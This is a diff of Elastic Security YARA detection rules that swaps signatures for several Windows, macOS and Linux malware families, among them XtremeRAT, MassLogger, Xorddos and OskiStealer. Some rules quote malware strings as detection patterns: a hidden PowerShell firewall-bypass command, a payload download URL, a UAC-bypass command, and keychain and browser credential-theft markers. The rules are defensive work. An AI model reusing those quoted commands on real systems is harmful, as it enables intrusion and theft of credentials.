-		description = "Detects Windows Trojan Xtremerat (Windows.Trojan.XtremeRAT)"
+		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
 		author = "Elastic Security"
-		id = "cd5b60be-4685-425a-8fe1-8366c0e5b84a"
-		date = "2022-03-15"
-		modified = "2022-04-12"
+		id = "93fa87f1-ec9d-4b3b-9c9a-a0b80963f41f"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_XtremeRAT.yar#L1-L28"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "735f7bf255bdc5ce8e69259c8e24164e5364aeac3ee78782b7b5275c1d793da8"
-		logic_hash = "a6997ae4842bd45c440925ef2a5848b57c58e2373c0971ce6b328ea297ee97b4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xorddos.yar#L397-L415"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "165b4a28fd6335d4e4dfefb6c40f41f16d8c7d9ab0941ccd23e36cda931f715e"
+		logic_hash = "2a1e797d4dd2599b5c67e73e3c909a1803e604edf0b6ba228713ee375ccc9b16"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2ee35d7c34374e9f5cffceb36fe1912932288ea4e8211a8b77430b98a9d41fb2"
+		fingerprint = "3b53e54dfea89258a116dcdf4dde0b6ad583aff08d626c02a6f1bf0c76164ac7"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$s01 = "SOFTWARE\\XtremeRAT" wide fullword
-		$s02 = "XTREME" wide fullword
-		$s03 = "STARTSERVERBUFFER" wide fullword
-		$s04 = "ENDSERVERBUFFER" wide fullword
-		$s05 = "ServerKeyloggerU" ascii fullword
-		$s06 = "TServerKeylogger" ascii fullword
-		$s07 = "XtremeKeylogger" wide fullword
-		$s08 = "XTREMEBINDER" wide fullword
-		$s09 = "UnitInjectServer" ascii fullword
-		$s10 = "shellexecute=" wide fullword
+		$a = { 03 87 44 24 04 89 44 24 04 8B 04 24 8D 64 24 04 8B 00 9C 83 }
 
 	condition:
-		7 of ($s*)
+		all of them
 }
-rule ELASTIC_Macos_Cryptominer_Generic_D3F68E29 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xorddos_8677Dca3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Cryptominer Generic (MacOS.Cryptominer.Generic)"
+		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
 		author = "Elastic Security"
-		id = "d3f68e29-830d-4d40-a285-ac29aed732fa"
-		date = "2021-09-30"
-		modified = "2021-10-25"
+		id = "8677dca3-e36b-439f-bc55-76d951114020"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Cryptominer_Generic.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d9c78c822dfd29a1d9b1909bf95cab2a9550903e8f5f178edeb7a5a80129fbdb"
-		logic_hash = "cc336e536e0f8dda47f9551dfabfc50c2094fffe4a69cdcec23824dd063dede0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xorddos.yar#L417-L435"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "23813dc4aa56683e1426e5823adc3aab854469c9c0f3ec1a3fad40fa906929f2"
+		logic_hash = "9902758dfb61e8b60b281f3f51cda8a10d58eb0cc20743f97998d7bcf120c299"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "733dadf5a09f4972629f331682fca167ebf9a438004cb686d032f69e32971bd4"
+		fingerprint = "4d276b225f412b3879db19546c09d1dea2ee417c61ab6942c411bc392fee8e26"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$a1 = "command line argument. See 'ethminer -H misc' for details." ascii fullword
-		$a2 = "Ethminer - GPU ethash miner" ascii fullword
-		$a3 = "StratumClient"
+		$a = { F2 5E 83 C2 03 8B FF C1 E2 05 9C 83 C5 69 9D 8D 6D 97 03 C2 56 8B 74 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Macos_Cryptominer_Generic_365Ecbb9 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xorddos_Ebce4304 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Cryptominer Generic (MacOS.Cryptominer.Generic)"
+		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
 		author = "Elastic Security"
-		id = "365ecbb9-586e-4962-a5a8-05e871f54eff"
-		date = "2021-09-30"
-		modified = "2021-10-25"
+		id = "ebce4304-0a06-454f-ad08-98b323e5b23a"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Cryptominer_Generic.yar#L23-L41"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e2562251058123f86c52437e82ea9ff32aae5f5227183638bc8aa2bc1b4fd9cf"
-		logic_hash = "66f16c8694c5cfde1b5e4eea03c530fa32a15022fa35acdbb676bb696e7deae2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xorddos.yar#L437-L455"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2e06caf864595f2df7f6936bb1ccaa1e0cae325aee8659ee283b2857e6ef1e5b"
+		logic_hash = "42fbfc2c2636c2e3a5da5e51c6bf99f6114ec7d00b88371a34e1fdbe81d1264a"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5ff82ab60f8d028c9e4d3dd95609f92cfec5f465c721d96947b490691d325484"
+		fingerprint = "20f0346bf021e3d2a0e25bbb3ed5b9c0a45798d0d5b2516b679f7bf17d1b040d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$a = { 55 6E 6B 6E 6F 77 6E 20 6E 65 74 77 6F 72 6B 20 73 70 65 63 69 66 69 65 64 20 }
+		$a = { 24 8D 64 24 04 87 54 24 00 56 8B 74 24 04 5E 9D 9C 83 C5 1E 9D 8D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Macos_Cryptominer_Generic_4E7D4488 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xorddos_073E6161 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Cryptominer Generic (MacOS.Cryptominer.Generic)"
+		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
 		author = "Elastic Security"
-		id = "4e7d4488-2e0c-4c74-84f9-00da103e162a"
-		date = "2021-09-30"
-		modified = "2021-10-25"
+		id = "073e6161-35a3-4e5e-a310-8cc50cb28edf"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Cryptominer_Generic.yar#L43-L61"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e2562251058123f86c52437e82ea9ff32aae5f5227183638bc8aa2bc1b4fd9cf"
-		logic_hash = "708b21b687c8b853a9b5f8a50d31119e4f0a02a5b63f81ba1cac8c06acd19214"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xorddos.yar#L457-L475"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2e06caf864595f2df7f6936bb1ccaa1e0cae325aee8659ee283b2857e6ef1e5b"
+		logic_hash = "2c98058add77c55ab68491eec041d7670f726a9ec93258ae7bb8f0e6721b4ca3"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4e7f22e8084734aeded9b1202c30e6a170a6a38f2e486098b4027e239ffed2f6"
+		fingerprint = "12d04597fd60ed143a1b256889eefee1f5a8c77f4f300e72743e3cfa98ba8e99"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$a = { 69 73 20 66 69 65 6C 64 20 74 6F 20 73 68 6F 77 20 6E 75 6D 62 65 72 20 6F 66 }
+		$a = { F9 83 F8 1F 77 33 80 BC 35 B9 FF FF FF 63 76 29 8B 44 24 14 40 8D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Macos_Creddump_Keychainaccess_535C1511 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Xorddos_Bef22375 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Creddump Keychainaccess (Macos.Creddump.KeychainAccess)"
+		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
 		author = "Elastic Security"
-		id = "535c1511-5b45-4845-85c1-ec53f9787b96"
-		date = "2023-04-11"
-		modified = "2024-01-30"
+		id = "bef22375-0a71-4f5b-bfd1-e2e718b5c36f"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Creddump_KeychainAccess.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "5234dcab6c9ca994c3d40243d882bd50e51fd77bba107e37ef494a04f6bf6112"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Xorddos.yar#L477-L495"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f47baf48deb71910716beab9da1b1e24dc6de9575963e238735b6bcedfe73122"
+		logic_hash = "3991ebdb310338516d5fdd137ba2ac63dc870337785a31d59dcad49135f190e5"
 		score = 75
-		quality = 49
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "713fd9a4ed51875cb2ce546f146e643fc7fccd2b2e280f0f2707de4eb4b70ee1"
+		fingerprint = "0128e8725a0949dd23c23addc1158d28c334cfb040aad2b8f8d58f39720c41ef"
 		severity = 100
-		arch_context = "x86, arm64"
+		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$strings1 = "uploadkeychain" ascii wide nocase
-		$strings2 = "decryptkeychain" ascii wide nocase
-		$strings3 = "dump-generic-password" ascii wide nocase
-		$strings4 = "keychain_extract" ascii wide nocase
-		$strings5 = "chainbreaker" ascii wide nocase
-		$strings6 = "SecKeychainItemCopyContent" ascii wide nocase
-		$strings7 = "SecKeychainItemCopyAccess" ascii wide nocase
-		$strings8 = "Failed to get password" ascii wide nocase
+		$a = { C5 35 9D 8D 6D CB 8B 12 9C 83 C5 17 9D 8D 6D E9 6A 04 F7 14 24 FF }
 
 	condition:
-		all of ($strings1,$strings2) or any of ($strings3,$strings4,$strings5) or all of ($strings6,$strings7,$strings8)
+		all of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2010_3301_79D52Efd : FILE MEMORY CVE_2010_3301
+rule ELASTIC_Linux_Trojan_Ipstorm_3C43D4A7 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2010 3301 (Linux.Exploit.CVE-2010-3301)"
+		description = "Detects Linux Trojan Ipstorm (Linux.Trojan.Ipstorm)"
 		author = "Elastic Security"
-		id = "79d52efd-7955-4aa3-afbe-b7d172c30f34"
-		date = "2021-04-06"
+		id = "3c43d4a7-185a-468b-a73d-82f579de98c1"
+		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2010_3301.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "53a2163ad17a414d9db95f5287d9981c9410e7eaeea096610ba622eb763a6970"
-		logic_hash = "1d4eb14042f552aa1577d0fe452e92c25bda66d0ad1a66e824677bee65908578"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ipstorm.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5103133574615fb49f6a94607540644689be017740d17005bc08b26be9485aa7"
+		logic_hash = "c7e9191312197f8925d7231d0b8badf8b5ca35685df909c0d1feb301b4385d7b"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY, CVE-2010-3301"
-		fingerprint = "22235427bc621e07c16c365ddbf22a4e1c04d7a0f23c3e4c46d967d908256567"
+		tags = "FILE, MEMORY"
+		fingerprint = "cf6812f8f0ee7951a70bec3839b798a574d536baae4cf37cda6eebf570cab0be"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -98868,28 +103207,28 @@ rule ELASTIC_Linux_Exploit_CVE_2010_3301_79D52Efd : FILE MEMORY CVE_2010_3301
 		os = "linux"
 
 	strings:
-		$a = { E8 3B F9 FF FF 83 7D D4 FF 75 16 48 8D 3D 35 03 }
+		$a = { 48 8D 54 24 58 31 F6 EB 11 48 8B 84 24 88 00 00 00 48 89 F1 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2010_3301_D0Eb0924 : FILE MEMORY CVE_2010_3301
+rule ELASTIC_Linux_Trojan_Ipstorm_F9269F00 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2010 3301 (Linux.Exploit.CVE-2010-3301)"
+		description = "Detects Linux Trojan Ipstorm (Linux.Trojan.Ipstorm)"
 		author = "Elastic Security"
-		id = "d0eb0924-dae1-46f9-a4d0-c9e69f781a22"
-		date = "2021-04-06"
+		id = "f9269f00-4664-47a4-9148-fa74e2cfee7c"
+		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2010_3301.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "907995e90a80d3ace862f2ffdf13fd361762b5acc5397e14135d85ca6a61619b"
-		logic_hash = "5229be3d1997ee4d05846d6804ffafd36c088dd8607a1fba39a0a43950e448c1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ipstorm.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5103133574615fb49f6a94607540644689be017740d17005bc08b26be9485aa7"
+		logic_hash = "5914d222b49aaf6c1040e48ffd93c04bd5df25f1d97bde79b034862fca6555f6"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY, CVE-2010-3301"
-		fingerprint = "bb288a990938aa21aba087a0400d6f4765a622f8ed36d1dd7953d09cbb09ff83"
+		tags = "FILE, MEMORY"
+		fingerprint = "509de41454bcc60dad0d96448592aa20fb997ce46ad8fed5d4bbdbe2ede588d6"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -98897,28 +103236,28 @@ rule ELASTIC_Linux_Exploit_CVE_2010_3301_D0Eb0924 : FILE MEMORY CVE_2010_3301
 		os = "linux"
 
 	strings:
-		$a = { E8 3C FA FF FF 83 7D EC FF 75 19 BF 20 13 40 00 }
+		$a = { EC C0 00 00 00 48 89 AC 24 B8 00 00 00 48 8D AC 24 B8 00 00 00 B8 69 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2010_3301_A5828970 : FILE MEMORY CVE_2010_3301
+rule ELASTIC_Linux_Trojan_Ipstorm_08Bcf61C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2010 3301 (Linux.Exploit.CVE-2010-3301)"
+		description = "Detects Linux Trojan Ipstorm (Linux.Trojan.Ipstorm)"
 		author = "Elastic Security"
-		id = "a5828970-7a30-421c-be92-5659c18b88d1"
-		date = "2021-04-06"
+		id = "08bcf61c-baef-4320-885c-8f8949684dde"
+		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2010_3301.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4fc781f765a65b714ec27080f25c03f20e06830216506e06325240068ba62d83"
-		logic_hash = "61b0cb38a6e14efee157547e811450d2ed4674f79ac86656a8d984084f71a665"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ipstorm.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "503f293d84de4f2c826f81a68180ad869e0d1448ea6c0dbf09a7b23801e1a9b9"
+		logic_hash = "fb2755c04b61d19788a92b8c9c1c9eb2552b62b27011e302840fdcf689b3d9b4"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY, CVE-2010-3301"
-		fingerprint = "72223f502b2a129380ab011b785f6589986d2eb177580339755d12840617ce5f"
+		tags = "FILE, MEMORY"
+		fingerprint = "348295602b1582839f6acc603832f09e9afab71731bc21742d1a638e41df6e7c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -98926,98 +103265,86 @@ rule ELASTIC_Linux_Exploit_CVE_2010_3301_A5828970 : FILE MEMORY CVE_2010_3301
 		os = "linux"
 
 	strings:
-		$a = { E8 7C FC FF FF 83 7D EC FF 75 19 BF 40 0E 40 00 }
+		$a = { 8C 24 98 00 00 00 31 D2 31 DB EB 04 48 83 C1 18 48 8B 31 48 83 79 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Masslogger_511B001E : FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Hive_Bdc7De59 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Masslogger (Windows.Trojan.MassLogger)"
+		description = "Detects Linux Ransomware Hive (Linux.Ransomware.Hive)"
 		author = "Elastic Security"
-		id = "511b001e-dc67-4e45-9096-0b01101ca0ab"
-		date = "2022-03-02"
-		modified = "2022-04-12"
+		id = "bdc7de59-bf12-461f-99e0-ec2532ace4e9"
+		date = "2022-01-05"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_MassLogger.yar#L1-L24"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "177875c756a494872c516000beb6011cec22bd9a73e58ba6b2371dba2ab8c337"
-		logic_hash = "5abac5e32e55467710842e19c25cab5c7f1cdb0f8a68fb6808d54467c69ebdf6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_Hive.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "713b699c04f21000fca981e698e1046d4595f423bd5741d712fd7e0bc358c771"
+		logic_hash = "33908128258843d63c5dfe5acf15cfd68463f5cbdf08b88ef1bba394058a5a92"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "14ec9c32af7c1dd4a1f73e37ef9e042c18d9e0179b0e5732752767f93be6d4e2"
+		fingerprint = "415ef589a1c2da6b16ab30fb68f938a9ee7917f5509f73aa90aeec51c10dc1ff"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "ExecutionPolicy Bypass -WindowStyle Hidden -Command netsh advfirewall firewall add rule name='allow RemoteDesktop' dir=in protoc" wide
-		$a2 = "https://raw.githubusercontent.com/lisence-system/assemply/main/VMprotectEncrypt.jpg" wide fullword
-		$a3 = "ECHO $SMTPServer  = smtp.gmail.com >> %PSScript%" wide fullword
-		$a4 = "Injecting Default Template...." wide fullword
-		$a5 = "GetVncLoginMethodAsync" ascii fullword
-		$a6 = "/c start computerdefaults.exe" wide fullword
+		$a = { 40 03 4C 39 C1 73 3A 4C 89 84 24 F0 00 00 00 48 89 D3 48 89 CF 4C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Pingpull_09Dd9559 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Subsevux_E9E80C1E : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Pingpull (Windows.Trojan.Pingpull)"
+		description = "Detects Linux Trojan Subsevux (Linux.Trojan.Subsevux)"
 		author = "Elastic Security"
-		id = "09dd9559-ce77-4f55-9e81-3b90add40103"
-		date = "2022-06-16"
-		modified = "2022-07-18"
+		id = "e9e80c1e-c064-47cf-91f2-0561dd5c9bcd"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Pingpull.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "de14f22c88e552b61c62ab28d27a617fb8c0737350ca7c631de5680850282761"
-		logic_hash = "114674b1a9acfc7643138d3b07885343a50c9d319b8d22a6ef34e916685c4469"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Subsevux.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a4ccd399ea99d4e31fbf2bbf8017c5368d29e630dc2985e90f07c10c980fa084"
+		logic_hash = "8bc38f26da5a3350cbae3e93b890220bb461ff77e83993a842f68db8f757e435"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b471e0f40780523bf396323a3b70fd285944fef2960ae43a36068eaf2f2fea4f"
+		fingerprint = "bbd7a2d80e545d0cae7705a53600f6b729918a3d655bc86b2db83f15d4e550e3"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$s1 = "PROJECT_%s_%s_%08X" ascii fullword
-		$s2 = "Iph1psvc" ascii fullword
-		$s3 = "IP He1per" ascii fullword
-		$s4 = "If this service is stopped, the computer will not have the enhanced connectivity benefits that these technologies offer."
-		$a1 = { 02 C? 66 C7 44 24 ?? 3A 00 4C 8D 44 24 ?? 88 4C 24 ?? 48 83 C9 FF 88 44 24 ?? F2 AE 33 ?? 0F 1F }
-		$a2 = { 48 85 FF 74 ?? 41 C1 E0 04 0F B6 4C 3C ?? 33 D2 8D 41 ?? ?? 19 77 ?? 80 C1 E0 8D 41 ?? 3C 09 77 }
-		$a3 = { 4C 63 74 24 ?? 48 8B ?? 43 8D 44 36 ?? 4C 63 E8 49 8B CD E8 ?? ?? ?? ?? 48 8B ?? 48 85 C0 0F 84 }
+		$a = { 89 C0 89 45 F4 83 7D F4 00 79 1C 83 EC 0C 68 }
 
 	condition:
-		3 of them
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Winpeas_Ng_66197D54 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Oskistealer_A158B1E3 : FILE MEMORY
 {
 	meta:
-		description = "WinPEAS detection based on the dotNet binary, application module"
+		description = "Detects Windows Trojan Oskistealer (Windows.Trojan.OskiStealer)"
 		author = "Elastic Security"
-		id = "66197d54-3cd2-4006-807d-24d0e0d9e25a"
-		date = "2022-12-21"
-		modified = "2023-02-01"
+		id = "a158b1e3-21b7-4009-9646-6bee9bde98ad"
+		date = "2022-03-21"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_WinPEAS_ng.yar#L1-L27"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f3e1e5b6fd2d548dfe0af8730b15eb7ef40e128a0777855f569b2a99d6101195"
-		logic_hash = "7bccf37960e2f197bb0021ecb12872f0f715b674d9774d02ec4e396f18963029"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_OskiStealer.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "568cd515c9a3bce7ef21520761b02cbfc95d8884d5b2dc38fc352af92356c694"
+		logic_hash = "0ddbe0b234ed60f5a3fc537cdaebf39f639ee24fd66143c9036a9f4786d4c51b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "951f0ca036a0ab0cf2299382049eecb78f35325470f222c6db90a819b9414083"
-		threat_name = "Windows.Hacktool.WinPEAS-ng"
+		fingerprint = "3996a89d37494b118654f3713393f415c662850a5a76afa00e83f9611aee3221"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -99025,381 +103352,297 @@ rule ELASTIC_Windows_Hacktool_Winpeas_Ng_66197D54 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$win_0 = "Possible DLL Hijacking, folder is writable" ascii wide
-		$win_1 = "FolderPerms:.*" ascii wide
-		$win_2 = "interestingFolderRights" ascii wide
-		$win_3 = "(Unquoted and Space detected)" ascii wide
-		$win_4 = "interestingFolderRights" ascii wide
-		$win_5 = "RegPerms: .*" ascii wide
-		$win_6 = "Permissions file: {3}" ascii wide
-		$win_7 = "Permissions folder(DLL Hijacking):" ascii wide
+		$a1 = "\"os_crypt\":{\"encrypted_key\":\"" ascii fullword
+		$a2 = "%s / %s" ascii fullword
+		$a3 = "outlook.txt" ascii fullword
+		$a4 = "GLoX6gmCFw==" ascii fullword
+		$a5 = "KaoQpEzKSjGm8Q==" ascii fullword
 
 	condition:
-		4 of them
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Winpeas_Ng_E8Ed269C : FILE MEMORY
+rule ELASTIC_Macos_Virus_Maxofferdeal_53Df500F : FILE MEMORY
 {
 	meta:
-		description = "WinPEAS detection based on the dotNet binary, checks module"
+		description = "Detects Macos Virus Maxofferdeal (MacOS.Virus.Maxofferdeal)"
 		author = "Elastic Security"
-		id = "e8ed269c-3191-44c0-a9c6-55172fb59c8c"
-		date = "2022-12-21"
-		modified = "2023-02-01"
+		id = "53df500f-3add-4d3d-aec3-35b7b5aa5b35"
+		date = "2021-10-05"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_WinPEAS_ng.yar#L29-L57"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
